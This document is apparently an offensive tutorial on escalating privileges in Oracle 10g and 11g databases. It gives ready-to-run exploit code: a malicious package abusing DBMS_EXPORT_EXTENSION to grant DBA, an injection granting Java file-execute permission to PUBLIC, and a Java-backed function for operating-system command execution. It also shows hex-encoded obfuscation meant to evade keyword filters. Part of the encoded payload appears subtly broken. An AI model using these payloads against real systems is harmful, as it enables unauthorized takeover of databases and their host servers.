Database Enumeration

Before attempting any escalation, it is critical to understand the current context and permissions available within the database envirnoment.

Identifying Current Privileges

To view the roles granted to the current user, query the session roles:

SELECT * FROM session_roles;

Determining Database Version

Identify the specific version of Oracle to tailor the exploitation strategy:

SELECT banner FROM v$version WHERE rownum=1;

Checking Environment Context

Retrieve the current authenticated user and environment details:

SELECT SYS_CONTEXT('USERENV', 'SESSION_USER') FROM dual;

Auditing Java Policies

If Java integration is enabled, check the existing Java permissions to understand the security boundaries:

SELECT type_name FROM user_java_policy;

Oracle 10g Privilege Escalation

In Oracle 10g, specific vulnerabilities in the DBMS\_EXPORT\_EXTENSION package allow for privilege escalation. The following method involves creating a malicious package and invoking it via the vulnerable metadata function to grant DBA privileges.

Creating the Exploit Package

First, define a package that includes an autonomous transaction to execute system commands or grant privileges:

CREATE OR REPLACE PACKAGE EscalatePkg AUTHID CURRENT_USER IS
  FUNCTION GetMetadata (oindexinfo SYS.odciindexinfo, p1 VARCHAR2, p2 VARCHAR2, env SYS.odcienv) RETURN NUMBER;
END;
/

CREATE OR REPLACE PACKAGE BODY EscalatePkg IS
  FUNCTION GetMetadata (oindexinfo SYS.odciindexinfo, p1 VARCHAR2, p2 VARCHAR2, env SYS.odcienv) RETURN NUMBER IS
    PRAGMA AUTONOMOUS_TRANSACTION;
  BEGIN
    EXECUTE IMMEDIATE 'GRANT DBA TO TARGET_USER';
    COMMIT;
    RETURN(1);
  END;
END;
/

Triggering the Vulnerability

Execute the following PL/SQL block to trigger the exploit using the GET\_DOMAIN\_INDEX\_METADATA procedure:

DECLARE
  idx_name VARCHAR2(200) := 'EXPLOIT_IDX';
  idx_schema VARCHAR2(200) := 'TARGET_SCHEMA';
  type_name VARCHAR2(200) := 'ESCALATEPKG';
  type_schema VARCHAR2(200) := 'TARGET_SCHEMA';
  ver_str VARCHAR2(200) := '10.2.0.1.0';
  new_block PLS_INTEGER;
  flags NUMBER := 1;
  ret_val VARCHAR2(200);
BEGIN
  ret_val := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(
    INDEX_NAME => idx_name,
    INDEX_SCHEMA => idx_schema,
    TYPE_NAME => type_name,
    TYPE_SCHEMA => type_schema,
    VERSION => ver_str,
    NEWBLOCK => new_block,
    GMFLAGS => flags
  );
END;
/

Granting Java Permissions

To execute operating system commands, the data base user must have specific Java permissions. The following injection grants java.io.FilePermission to PUBLIC.

SELECT SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(
  'DUMMY', 
  'SCHEMA', 
  'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--',
  'SYS', 
  0, 
  '1', 
  0
) FROM dual;

Operating System Command Execution via Java

Once Java permissions are granted, you can create a Java source object within the database to run shell commands.

Compiling Java Source

BEGIN
  EXECUTE IMMEDIATE '
    CREATE OR REPLACE AND COMPILE JAVA SOURCE NAMED "CmdExecutor" AS 
    import java.io.*;
    public class CmdExecutor {
      public static String run(String cmd) {
        try {
          Process p = Runtime.getRuntime().exec(cmd);
          BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
          String line, output = "";
          while ((line = br.readLine()) != null) {
            output += line + "\n";
          }
          br.close();
          return output;
        } catch (Exception e) {
          return e.toString();
        }
      }
    };
  ';
END;
/

Creating a PL/SQL Wrapper

Create a PL/SQL function to act as a wrapper for the Java method:

BEGIN
  EXECUTE IMMEDIATE '
    CREATE OR REPLACE FUNCTION ExecCmd(p_cmd IN VARCHAR2) RETURN VARCHAR2 
    AS LANGUAGE JAVA 
    NAME ''CmdExecutor.run(java.lang.String) return String'';
  ';
END;
/

Executing the Command

Invoke the wrapper function to execute operating system commands:

SELECT ExecCmd('ping -c 4 127.0.0.1') FROM dual;

Hexadecimal Encoding for Obfuscation

To bypass filters that detect specific keywords, payloads can be obfuscated using hexadecimal encoding. The following example decodes a hex string to create the Java source dynamically.

SELECT TO_CHAR(
  dbms_xmlquery.newcontext(
    'declare PRAGMA AUTONOMOUS_TRANSACTION; 
     begin 
       execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c61636520616e6420636f6d70696c65206a61766120736f75726365206e616d65642022436d644578656375746f722220617320696d706f7274206a6176612e696f2e2a3b7075626c696320636c61737320436d644578656375746f727b7075626c69632073746174696320537472696e672072756e28537472696e6720636d64297b7472797b50726f6365737320703d52756e74696d652e67657452756e74696d6528292e6578656328636d64293b427566666572656452656465722062723d6e65772042756666657265645265646572286e657720496e70757453747265616d52656164657228702e676574496e70757453747265616d282929293b537472696e67206c696e652c206f75747075743d22223b7768696c6528286c696e653d62722e726561644c696e6528292921216e756c6c297b6f75747075742b3d6c696e652b225c6e223b7d62722e636c6f736528293b72657475726e206f75747075743b7d636174636828457863657074696f6e2065297b72657475726e20652e746f537472696e6728293b7d7d''));
       execute immediate utl_raw.cast_to_varchar2(hextoraw(''637265617465206f72207265706c6163652066756e6374696f6e2052756e436d6428705f636d6420696e207661726368617232292072657475726e207661726368617232206173206c616e6775616765206a617661206e616d652027436d644578656375746f722e72756e286a6176612e6c616e672e537472696e67292072657475726e20537472696e67273b''));
     end;')
  ) 
FROM dual;

After decoding and compilation, execute the command:

SELECT RunCmd('whoami') FROM dual;

Oracle 11g Privilege Escalation

For Oracle 11g, exploitation vectors often involve injecting into vulnerable procedures that utilize Java. The following example simulates an injection into a hypothetical vulnerable procedure to execute Java logic that grants DBA privileges.

EXEC SYS.VulnerableProc(
  'INPUT'||DBMS_JAVA.RUNJAVA(
    'oracle/aurora/util/Wrapper'||
    DBMS_JAVA.SET_OUTPUT_TO_SQL(
      'ID', 
      'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; 
       BEGIN 
         EXECUTE IMMEDIATE ''GRANT DBA TO NEW_ADMIN''; 
         DBMS_OUTPUT.PUT_LINE(:1); 
       END;', 
      'TEXT'
    )
  )||'END'
);